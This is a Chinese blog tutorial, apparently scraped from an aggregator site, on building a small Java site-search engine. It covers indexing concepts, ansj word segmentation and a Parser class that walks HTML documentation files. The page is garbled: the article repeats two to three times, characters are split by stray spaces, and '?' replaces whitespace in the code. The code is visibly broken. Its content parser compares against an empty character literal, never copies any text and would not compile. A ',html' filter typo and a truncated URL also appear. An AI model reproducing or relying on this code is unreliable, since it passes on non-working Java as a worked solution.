能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{ if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
這個(gè)代碼就是只是針對末尾為html的文件。下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。具體代碼如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
這一模塊總的代碼塊如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 for (File f:fileList){ System.out.println("開(kāi)始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出標題 String title=parseTitle(f); //解析出對應的url String url=parseUrl(f); //解析出對應的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
歡迎加入程序員交流群
鬼哥我創(chuàng )建了幾個(gè)技術(shù)交流群,大家在群里都是九分聊技術(shù)、一分聊風(fēng)雪~
如果你沒(méi)有加群,不妨掃描下方二維碼、添加我的微信。我拉大家進(jìn)群,記得備注:工作城市+昵稱(chēng)+技術(shù)方向!
Ps:如果朋友圈對我設置權限的話(huà),那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推薦
B站,竟然變成了相親求偶平臺!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL奪命15問(wèn),你能堅持到第幾問(wèn)?<br style="outline: 0px;" />
Nginx 輕松搞定跨域問(wèn)題!<br style="outline: 0px;" />
換掉 UUID,更快更安全!<br style="outline: 0px;" />
Java實(shí)現10萬(wàn)+并發(fā)去重,持續優(yōu)化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花費數月整理出來(lái)的技術(shù)資源免費分享給大家掃描下方二維碼,回復關(guān)鍵字【技術(shù)福利】獲??!
寫(xiě)一個(gè)搜索引擎系統(Java版)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 93 次瀏覽 ? 2022-05-07 18:15
咋們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的)
為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二.模塊劃分1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理
1.基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import?org.ansj.domain.Term;<br />import?org.ansj.splitWord.analysis.ToAnalysis;<br />import?java.util.List;<br />public?class?TastAnsj?{<br />????public?static?void?main(String[]?args)?{<br />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br />????????for?(Term?term?:?terms)?{<br />????????????System.out.println(term.getName());<br />????????}<br />????}<br />}<br />
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br />import?java.util.ArrayList;<br /><br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}<br />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br />?????if(f.getAbsolutePath().endsWith(",html"))<br />?????fileList.add(f);<br />}<br />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />
這一模塊總的代碼塊如下:
import?java.io.File;<br />import?java.io.FileNotFoundException;<br />import?java.io.FileReader;<br />import?java.io.IOException;<br />import?java.util.ArrayList;<br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????for?(File?f:fileList){<br />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br />??????????????parseHTML(f);<br />??????????}<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br /><br /><br />????private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />????private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />????private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />????private?void?parseHTML?(File?f){<br />????????//解析出標題<br />??????????String?title=parseTitle(f);<br />????????//解析出對應的url<br />??????????String?url=parseUrl(f);<br />????????//解析出對應的正文<br />????????try?{<br />????????????String?content=parseContent(f);<br />????????}?catch?(IOException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}
來(lái)源:/m0_57315623/article/details/123829698
推薦:
PS:因為公眾號平臺更改了推送規則,如果不想錯過(guò)內容,記得讀完點(diǎn)一下“在看”,加個(gè)“星標”,這樣每次新文章推送才會(huì )第一時(shí)間出現在你的訂閱列表里。點(diǎn)“在看”支持我們吧! 查看全部
寫(xiě)一個(gè)搜索引擎系統(Java版)
咋們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的)
為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二.模塊劃分1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理
1.基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import?org.ansj.domain.Term;<br />import?org.ansj.splitWord.analysis.ToAnalysis;<br />import?java.util.List;<br />public?class?TastAnsj?{<br />????public?static?void?main(String[]?args)?{<br />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br />????????for?(Term?term?:?terms)?{<br />????????????System.out.println(term.getName());<br />????????}<br />????}<br />}<br />
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br />import?java.util.ArrayList;<br /><br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}<br />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br />?????if(f.getAbsolutePath().endsWith(",html"))<br />?????fileList.add(f);<br />}<br />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />
這一模塊總的代碼塊如下:
import?java.io.File;<br />import?java.io.FileNotFoundException;<br />import?java.io.FileReader;<br />import?java.io.IOException;<br />import?java.util.ArrayList;<br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????for?(File?f:fileList){<br />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br />??????????????parseHTML(f);<br />??????????}<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br /><br /><br />????private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />????private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />????private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />????private?void?parseHTML?(File?f){<br />????????//解析出標題<br />??????????String?title=parseTitle(f);<br />????????//解析出對應的url<br />??????????String?url=parseUrl(f);<br />????????//解析出對應的正文<br />????????try?{<br />????????????String?content=parseContent(f);<br />????????}?catch?(IOException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}
來(lái)源:/m0_57315623/article/details/123829698
推薦:
PS:因為公眾號平臺更改了推送規則,如果不想錯過(guò)內容,記得讀完點(diǎn)一下“在看”,加個(gè)“星標”,這樣每次新文章推送才會(huì )第一時(shí)間出現在你的訂閱列表里。點(diǎn)“在看”支持我們吧!
聚合搜索工具升級版源碼
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 60 次瀏覽 ? 2022-05-04 01:11
